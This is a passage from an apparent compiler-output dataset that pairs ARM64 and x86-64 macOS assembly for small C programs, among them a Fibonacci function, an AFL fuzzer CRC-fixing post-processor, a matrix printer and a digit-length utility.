.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/28262324.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _fib ; -- Begin function fib
.p2align 2
_fib: ; @fib
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str w0, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
stur wzr, [x29, #-4]
b LBB0_6
LBB0_2:
ldr w8, [sp, #8]
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldr w8, [sp, #8]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
mov w8, #1
stur w8, [x29, #-4]
b LBB0_6
LBB0_5:
ldr w8, [sp, #8]
subs w0, w8, #1
bl _fib
str w0, [sp, #4] ; 4-byte Folded Spill
ldr w8, [sp, #8]
subs w0, w8, #2
bl _fib
mov x8, x0
ldr w0, [sp, #4] ; 4-byte Folded Reload
add w8, w0, w8
stur w8, [x29, #-4]
b LBB0_6
LBB0_6:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
mov w8, #1
stur w8, [x29, #-4]
b LBB1_3
LBB1_2:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
bl _atoi
str w0, [sp, #12]
ldr w0, [sp, #12]
bl _fib
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
stur wzr, [x29, #-4]
b LBB1_3
LBB1_3:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%u\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _fib ## -- Begin function fib
.p2align 4, 0x90
_fib: ## @fib
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -8(%rbp)
cmpl $0, -8(%rbp)
jne LBB0_2
## %bb.1:
movl $0, -4(%rbp)
jmp LBB0_6
LBB0_2:
cmpl $1, -8(%rbp)
je LBB0_4
## %bb.3:
cmpl $2, -8(%rbp)
jne LBB0_5
LBB0_4:
movl $1, -4(%rbp)
jmp LBB0_6
LBB0_5:
movl -8(%rbp), %edi
subl $1, %edi
callq _fib
movl %eax, -12(%rbp) ## 4-byte Spill
movl -8(%rbp), %edi
subl $2, %edi
callq _fib
movl %eax, %ecx
movl -12(%rbp), %eax ## 4-byte Reload
addl %ecx, %eax
movl %eax, -4(%rbp)
LBB0_6:
movl -4(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $2, -8(%rbp)
jge LBB1_2
## %bb.1:
movl $1, -4(%rbp)
jmp LBB1_3
LBB1_2:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _atoi
movl %eax, -20(%rbp)
movl -20(%rbp), %edi
callq _fib
movl %eax, %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -4(%rbp)
LBB1_3:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%u\n"
.subsections_via_symbols
| the_stack_data/1149530.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _afl_postprocess ; -- Begin function afl_postprocess
.p2align 2
_afl_postprocess: ; @afl_postprocess
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-16]
stur x1, [x29, #-24]
ldur x8, [x29, #-16]
str x8, [sp, #32]
mov w8, #8
str w8, [sp, #28]
ldur x8, [x29, #-24]
ldr w8, [x8]
subs w8, w8, #8
cset w8, hs
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x8, [x29, #-16]
stur x8, [x29, #-8]
b LBB0_20
LBB0_2:
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
add w8, w8, #12
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, hi
tbnz w8, #0, LBB0_19
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-16]
ldr w9, [sp, #28]
; kill: def $x9 killed $w9
ldr w0, [x8, x9]
bl __OSSwapInt32
str w0, [sp, #12] ; 4-byte Folded Spill
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #12] ; 4-byte Folded Reload
str w8, [sp, #24]
ldr w8, [sp, #24]
subs w8, w8, #256, lsl #12 ; =1048576
cset w8, hi
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #28]
add w8, w8, #12
ldr w9, [sp, #24]
add w8, w8, w9
ldur x9, [x29, #-24]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ls
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
b LBB0_19
LBB0_9: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-16]
ldr w9, [sp, #28]
; kill: def $x9 killed $w9
add x8, x8, x9
add x1, x8, #4
ldr w8, [sp, #24]
add w2, w8, #4
mov x0, #0
bl _crc32
; kill: def $w0 killed $w0 killed $x0
bl __OSSwapInt32
str w0, [sp, #20]
ldur x8, [x29, #-16]
ldr w9, [sp, #28]
; kill: def $x9 killed $w9
add x8, x8, x9
add x8, x8, #8
ldr w9, [sp, #24]
; kill: def $x9 killed $w9
ldr w8, [x8, x9]
str w8, [sp, #16]
ldr w8, [sp, #20]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_18
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #32]
ldur x9, [x29, #-16]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB0_17
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_3 Depth=1
ldur x8, [x29, #-24]
ldr w8, [x8]
adrp x9, _afl_postprocess.saved_len@PAGE
ldr w9, [x9, _afl_postprocess.saved_len@PAGEOFF]
subs w8, w8, w9
cset w8, hi
tbnz w8, #0, LBB0_13
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_3 Depth=1
adrp x8, _afl_postprocess.saved_buf@PAGE
ldr x8, [x8, _afl_postprocess.saved_buf@PAGEOFF]
str x8, [sp, #32]
b LBB0_16
LBB0_13: ; in Loop: Header=BB0_3 Depth=1
adrp x8, _afl_postprocess.saved_buf@PAGE
ldr x0, [x8, _afl_postprocess.saved_buf@PAGEOFF]
ldur x8, [x29, #-24]
ldr w8, [x8]
lsr w8, w8, #12
add w8, w8, #1
lsl w8, w8, #12
mov x1, x8
bl _realloc
str x0, [sp, #32]
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_15
b LBB0_14
LBB0_14:
ldur x8, [x29, #-16]
stur x8, [x29, #-8]
b LBB0_20
LBB0_15: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #32]
adrp x9, _afl_postprocess.saved_buf@PAGE
str x8, [x9, _afl_postprocess.saved_buf@PAGEOFF]
ldur x8, [x29, #-24]
ldr w8, [x8]
lsr w8, w8, #12
add w8, w8, #1
lsl w8, w8, #12
adrp x9, _afl_postprocess.saved_len@PAGE
str w8, [x9, _afl_postprocess.saved_len@PAGEOFF]
ldr x0, [sp, #32]
ldur x1, [x29, #-16]
ldur x8, [x29, #-24]
ldr w8, [x8]
mov x2, x8
mov x3, #-1
bl ___memcpy_chk
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_3 Depth=1
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #20]
ldr x9, [sp, #32]
ldr w10, [sp, #28]
; kill: def $x10 killed $w10
add x9, x9, x10
add x9, x9, #8
ldr w10, [sp, #24]
; kill: def $x10 killed $w10
str w8, [x9, x10]
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [sp, #24]
add w9, w8, #12
ldr w8, [sp, #28]
add w8, w8, w9
str w8, [sp, #28]
b LBB0_3
LBB0_19:
ldr x8, [sp, #32]
stur x8, [x29, #-8]
b LBB0_20
LBB0_20:
ldur x0, [x29, #-8]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _OSSwapInt32
__OSSwapInt32: ; @_OSSwapInt32
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
rev w8, w8
str w8, [sp, #12]
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,_afl_postprocess.saved_buf,8,3 ; @afl_postprocess.saved_buf
.zerofill __DATA,__bss,_afl_postprocess.saved_len,4,2 ; @afl_postprocess.saved_len
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _afl_postprocess ## -- Begin function afl_postprocess
.p2align 4, 0x90
_afl_postprocess: ## @afl_postprocess
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq -16(%rbp), %rax
movq %rax, -32(%rbp)
movl $8, -36(%rbp)
movq -24(%rbp), %rax
cmpl $8, (%rax)
jae LBB0_2
## %bb.1:
movq -16(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_20
LBB0_2:
jmp LBB0_3
LBB0_3: ## =>This Inner Loop Header: Depth=1
movl -36(%rbp), %eax
addl $12, %eax
movq -24(%rbp), %rcx
cmpl (%rcx), %eax
ja LBB0_19
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
## %bb.5: ## in Loop: Header=BB0_3 Depth=1
movq -16(%rbp), %rax
movl -36(%rbp), %ecx
## kill: def $rcx killed $ecx
movl (%rax,%rcx), %edi
callq __OSSwapInt32
movl %eax, -52(%rbp) ## 4-byte Spill
## %bb.6: ## in Loop: Header=BB0_3 Depth=1
movl -52(%rbp), %eax ## 4-byte Reload
movl %eax, -40(%rbp)
cmpl $1048576, -40(%rbp) ## imm = 0x100000
ja LBB0_8
## %bb.7: ## in Loop: Header=BB0_3 Depth=1
movl -36(%rbp), %eax
addl $12, %eax
addl -40(%rbp), %eax
movq -24(%rbp), %rcx
cmpl (%rcx), %eax
jbe LBB0_9
LBB0_8:
jmp LBB0_19
LBB0_9: ## in Loop: Header=BB0_3 Depth=1
movq -16(%rbp), %rsi
movl -36(%rbp), %eax
## kill: def $rax killed $eax
addq %rax, %rsi
addq $4, %rsi
movl -40(%rbp), %edx
addl $4, %edx
xorl %eax, %eax
movl %eax, %edi
callq _crc32
movl %eax, %edi
callq __OSSwapInt32
movl %eax, -44(%rbp)
movq -16(%rbp), %rax
movl -36(%rbp), %ecx
## kill: def $rcx killed $ecx
addq %rcx, %rax
movl -40(%rbp), %ecx
## kill: def $rcx killed $ecx
movl 8(%rax,%rcx), %eax
movl %eax, -48(%rbp)
movl -44(%rbp), %eax
cmpl -48(%rbp), %eax
je LBB0_18
## %bb.10: ## in Loop: Header=BB0_3 Depth=1
movq -32(%rbp), %rax
cmpq -16(%rbp), %rax
jne LBB0_17
## %bb.11: ## in Loop: Header=BB0_3 Depth=1
movq -24(%rbp), %rax
movl (%rax), %eax
cmpl _afl_postprocess.saved_len(%rip), %eax
ja LBB0_13
## %bb.12: ## in Loop: Header=BB0_3 Depth=1
movq _afl_postprocess.saved_buf(%rip), %rax
movq %rax, -32(%rbp)
jmp LBB0_16
LBB0_13: ## in Loop: Header=BB0_3 Depth=1
movq _afl_postprocess.saved_buf(%rip), %rdi
movq -24(%rbp), %rax
movl (%rax), %eax
shrl $12, %eax
addl $1, %eax
shll $12, %eax
movl %eax, %eax
movl %eax, %esi
callq _realloc
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB0_15
## %bb.14:
movq -16(%rbp), %rax
movq %rax, -8(%rbp)
jmp LBB0_20
LBB0_15: ## in Loop: Header=BB0_3 Depth=1
movq -32(%rbp), %rax
movq %rax, _afl_postprocess.saved_buf(%rip)
movq -24(%rbp), %rax
movl (%rax), %eax
shrl $12, %eax
addl $1, %eax
shll $12, %eax
movl %eax, _afl_postprocess.saved_len(%rip)
movq -32(%rbp), %rdi
movq -16(%rbp), %rsi
movq -24(%rbp), %rax
movl (%rax), %eax
movl %eax, %edx
movq $-1, %rcx
callq ___memcpy_chk
LBB0_16: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_17
LBB0_17: ## in Loop: Header=BB0_3 Depth=1
movl -44(%rbp), %edx
movq -32(%rbp), %rax
movl -36(%rbp), %ecx
## kill: def $rcx killed $ecx
addq %rcx, %rax
movl -40(%rbp), %ecx
## kill: def $rcx killed $ecx
movl %edx, 8(%rax,%rcx)
LBB0_18: ## in Loop: Header=BB0_3 Depth=1
movl -40(%rbp), %eax
addl $12, %eax
addl -36(%rbp), %eax
movl %eax, -36(%rbp)
jmp LBB0_3
LBB0_19:
movq -32(%rbp), %rax
movq %rax, -8(%rbp)
LBB0_20:
movq -8(%rbp), %rax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _OSSwapInt32
__OSSwapInt32: ## @_OSSwapInt32
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
bswapl %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,_afl_postprocess.saved_buf,8,3 ## @afl_postprocess.saved_buf
.zerofill __DATA,__bss,_afl_postprocess.saved_len,4,2 ## @afl_postprocess.saved_len
.subsections_via_symbols
| the_stack_data/136569.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _bar ; -- Begin function bar
.p2align 2
_bar: ; @bar
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str x2, [sp, #8]
str x3, [sp]
ldur x8, [x29, #-8]
str wzr, [x8]
ldur x9, [x29, #-8]
mov w8, #1
str w8, [x9, #4]
ldur x8, [x29, #-8]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl _undefined
b LBB0_2
LBB0_2:
ldr x8, [sp, #16]
str wzr, [x8]
ldr x9, [sp, #16]
mov w8, #1
str w8, [x9, #4]
ldr x8, [sp, #16]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
bl _undefined
b LBB0_4
LBB0_4:
ldr x8, [sp, #8]
str wzr, [x8]
ldr x9, [sp]
mov w8, #1
str w8, [x9]
ldr x8, [sp, #8]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
bl _undefined
b LBB0_6
LBB0_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w0, #0
str wzr, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _bar ## -- Begin function bar
.p2align 4, 0x90
_bar: ## @bar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq %rcx, -32(%rbp)
movq -8(%rbp), %rax
movl $0, (%rax)
movq -8(%rbp), %rax
movl $1, 4(%rax)
movq -8(%rbp), %rax
cmpl $0, (%rax)
je LBB0_2
## %bb.1:
callq _undefined
LBB0_2:
movq -16(%rbp), %rax
movl $0, (%rax)
movq -16(%rbp), %rax
movl $1, 4(%rax)
movq -16(%rbp), %rax
cmpl $0, (%rax)
je LBB0_4
## %bb.3:
callq _undefined
LBB0_4:
movq -24(%rbp), %rax
movl $0, (%rax)
movq -32(%rbp), %rax
movl $1, (%rax)
movq -24(%rbp), %rax
cmpl $0, (%rax)
je LBB0_6
## %bb.5:
callq _undefined
LBB0_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/590503.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #3
stur w8, [x29, #-8]
ldur w8, [x29, #-8]
add w9, w8, #1
stur w9, [x29, #-8]
ldur w9, [x29, #-8]
add w10, w9, #1
stur w10, [x29, #-8]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w10, w9, #1
stur w10, [x29, #-8]
mul w8, w8, w9
stur w8, [x29, #-4]
ldur w8, [x29, #-4]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d\n%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $3, -8(%rbp)
movl -8(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -8(%rbp)
movl -8(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -8(%rbp)
imull %ecx, %eax
movl -8(%rbp), %ecx
movl %ecx, %edx
addl $1, %edx
movl %edx, -8(%rbp)
imull %ecx, %eax
movl %eax, -4(%rbp)
movl -4(%rbp), %esi
movl -8(%rbp), %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d\n%d\n"
.subsections_via_symbols
| the_stack_data/206392954.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #16]
add x0, sp, #20
adrp x1, l___const.main.matriz@PAGE
add x1, x1, l___const.main.matriz@PAGEOFF
mov x2, #100
bl _memcpy
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #12]
subs w8, w8, #5
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #8]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #8]
subs w8, w8, #5
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldrsw x8, [sp, #12]
mov x9, #20
mul x9, x8, x9
add x8, sp, #20
add x8, x8, x9
ldrsw x9, [sp, #8]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_8:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
bl ___stack_chk_fail
LBB0_10:
mov w0, #0
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
add sp, sp, #144
ret
.cfi_endproc
; -- End function
.section __TEXT,__const
.p2align 2 ; @__const.main.matriz
l___const.main.matriz:
.long 1 ; 0x1
.long 2 ; 0x2
.long 3 ; 0x3
.long 4 ; 0x4
.long 5 ; 0x5
.long 6 ; 0x6
.long 7 ; 0x7
.long 8 ; 0x8
.long 9 ; 0x9
.long 10 ; 0xa
.long 11 ; 0xb
.long 12 ; 0xc
.long 13 ; 0xd
.long 14 ; 0xe
.long 15 ; 0xf
.long 16 ; 0x10
.long 17 ; 0x11
.long 18 ; 0x12
.long 19 ; 0x13
.long 20 ; 0x14
.long 21 ; 0x15
.long 22 ; 0x16
.long 23 ; 0x17
.long 24 ; 0x18
.long 25 ; 0x19
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%i "
l_.str.1: ; @.str.1
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
leaq -112(%rbp), %rdi
leaq l___const.main.matriz(%rip), %rsi
movl $100, %edx
callq _memcpy
movl $0, -120(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $5, -120(%rbp)
jge LBB0_8
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -124(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $5, -124(%rbp)
jge LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movslq -120(%rbp), %rcx
leaq -112(%rbp), %rax
imulq $20, %rcx, %rcx
addq %rcx, %rax
movslq -124(%rbp), %rcx
movl (%rax,%rcx,4), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -124(%rbp), %eax
addl $1, %eax
movl %eax, -124(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
## %bb.7: ## in Loop: Header=BB0_1 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -120(%rbp)
jmp LBB0_1
LBB0_8:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_10
## %bb.9:
xorl %eax, %eax
addq $128, %rsp
popq %rbp
retq
LBB0_10:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__const
.p2align 4 ## @__const.main.matriz
l___const.main.matriz:
.long 1 ## 0x1
.long 2 ## 0x2
.long 3 ## 0x3
.long 4 ## 0x4
.long 5 ## 0x5
.long 6 ## 0x6
.long 7 ## 0x7
.long 8 ## 0x8
.long 9 ## 0x9
.long 10 ## 0xa
.long 11 ## 0xb
.long 12 ## 0xc
.long 13 ## 0xd
.long 14 ## 0xe
.long 15 ## 0xf
.long 16 ## 0x10
.long 17 ## 0x11
.long 18 ## 0x12
.long 19 ## 0x13
.long 20 ## 0x14
.long 21 ## 0x15
.long 22 ## 0x16
.long 23 ## 0x17
.long 24 ## 0x18
.long 25 ## 0x19
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%i "
L_.str.1: ## @.str.1
.asciz "\n"
.subsections_via_symbols
| the_stack_data/18416.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _utility_u32_len ; -- Begin function utility_u32_len
.p2align 2
_utility_u32_len: ; @utility_u32_len
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
orr w8, w8, #0x1
clz w9, w8
mov w8, #32
subs w8, w8, w9
mov w9, #1233
mul w8, w8, w9
asr w8, w8, #12
str w8, [sp, #8]
ldr w8, [sp, #8]
ldr w9, [sp, #12]
ldr w10, [sp, #8]
mov x11, x10
adrp x10, _utility_u32_len.pow_10@PAGE
add x10, x10, _utility_u32_len.pow_10@PAGEOFF
ldr w10, [x10, x11, lsl #2]
subs w9, w9, w10
cset w9, lo
and w9, w9, #0x1
subs w8, w8, w9
add w8, w8, #1
mov x0, x8
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _utility_u32_sprint ; -- Begin function utility_u32_sprint
.p2align 2
_utility_u32_sprint: ; @utility_u32_sprint
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str x1, [sp, #16]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
subs w8, w8, #100
cset w8, lo
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #28]
mov w9, #100
udiv w10, w8, w9
mul w10, w10, w9
subs w8, w8, w10
lsl w8, w8, #1
; kill: def $x8 killed $w8
str x8, [sp, #8]
ldr w8, [sp, #28]
udiv w8, w8, w9
str w8, [sp, #28]
